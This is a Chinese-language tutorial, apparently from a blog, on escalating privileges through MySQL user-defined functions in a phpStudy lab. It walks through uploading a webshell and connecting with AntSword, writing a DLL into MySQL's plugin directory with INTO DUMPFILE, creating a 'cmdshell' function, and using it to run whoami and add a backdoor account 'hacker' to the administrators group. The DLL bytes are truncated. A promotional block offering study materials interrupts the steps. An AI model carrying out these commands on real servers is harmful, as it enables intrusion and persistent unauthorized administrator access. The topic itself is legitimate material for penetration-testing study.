UDF提权
? UDF(User Defined Function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。
? UDF可以理解为MySQL的函数库,可以利用UDF定义创建函数(其中包括了执行系统命令的函数)
提权条件:
1、MySQL中支持UDF扩展,使得我们可以调用DLL里面的函数来实现一些特殊的功能
2、掌握mysql数据库的账户,从拥有对mysql的insert和delect权限,以创建和删除函数
3、拥有可以将udf.dll写入相应目录的权限。
1、环境准备
1)将phpstudy中的服务变为系统服务
【——全网最全的网络安全学习资料包分享给爱学习的你,关注我,私信回复“领取”获取——】
1.网络安全多个方向学习路线
2.全网最全的CTF入门学习资料
3.一线大佬实战经验分享笔记
4.网安大厂面试题合集
5.红蓝对抗实战技术秘籍
6.网络安全基础入门、Linux、web安全、渗透测试方面视频
2)将apache降权为普通用户
3)将apache用户赋予phpstudy目录的读写权限
4)修改mysql配置文件,并重启mysql服务
2、访问网站目录,上传木马文件
3、连接蚁剑
4、打开虚拟终端
5、查看当前用户
6、进入数据库操作
7、查看数据库版本
select version();
8、查看mysql导出路径
show variables like "%plugin%";
9、选择test库,创建一个表
create table my_udf_data(data longblob);
10、插入数据
insert into my_udf_data values(0x4d5a........); //内容过长
11、写入dll文件
select data from my_udf_data into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin\\myudf.dll';
注意:如果没有plugin目录,需自己创建
12、创建自定义函数
create function cmdshell returns string soname "myudf.dll";
13、查看当前用户
select cmdshell('whoami');
14、添加新用户
select cmdshell('net user hacker admin@123 /add');
15、将新用户添加到管理员组
select cmdshell('net localgroup administrators hacker /add');